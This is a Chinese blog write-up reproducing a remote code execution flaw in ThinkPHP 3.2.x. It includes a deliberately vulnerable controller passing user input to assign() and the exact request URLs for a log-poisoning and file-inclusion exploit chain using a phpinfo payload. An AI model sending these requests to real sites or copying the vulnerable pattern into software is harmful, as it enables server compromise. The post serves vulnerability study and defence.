ThinkPHP3.2.x RCE漏洞复现

  1. 简介
  2. 环境
  3. 复现过程
  4. 漏洞点分析
  5. 参考链接

简介

ThinkPHP3.2的远程代码执行漏洞。该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

环境

windows 10
phpstudy 5.6
Thinkphp 3.2.3完整版

复现过程

demo:

demo代码说明:如果需要测试请把demo代码放入对应位置,代码位置:\Application\Home\Controller\IndexController.class.php,因为程序要进入模板渲染方法方法中,所以需要创建对应的模板文件,内容随意,模板文件位置:Application\Home\View\Index (View没有Index文件夹需要自己创建)

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($value=''){
        $this->assign($value);
        $this->display();
    }
}

利用步骤:

1. 创建log
2. 包含log

创建log发送请求 注意,m=后面的code不要url编码,否则包含的时候会失败)

http://127.0.0.1/index.php?m=--><?=phpinfo();?>

包含log

http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_07_12.log

Debug开启和关闭的路径不同:

开启: Application\Runtime\Logs\Common\<log>
关闭: Application\Runtime\Logs\Home\<log>

漏洞点分析

1.assign函数返回模板变量

2.到display函数开始解析

3.到达View.Class.php发现把payload传入到Hook::Listen函数

4.进入循环在将payload传入self::exec函数

5.调用Behavior\ParseTemplateBehavior类 (将log文件写入缓存php)

6.调用fetch函数

最后load函数加载

(不会描述,原文章描述的很好)

参考链接

https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ
https://blog.csdn.net/cvper/article/details/66713909


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:ThinkPHP3.2.x RCE漏洞复现

本文作者:九世

发布时间:2021-07-12, 17:32:20

最后更新:2021-07-12, 17:46:31

原始链接:http://422926799.github.io/posts/94587123.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录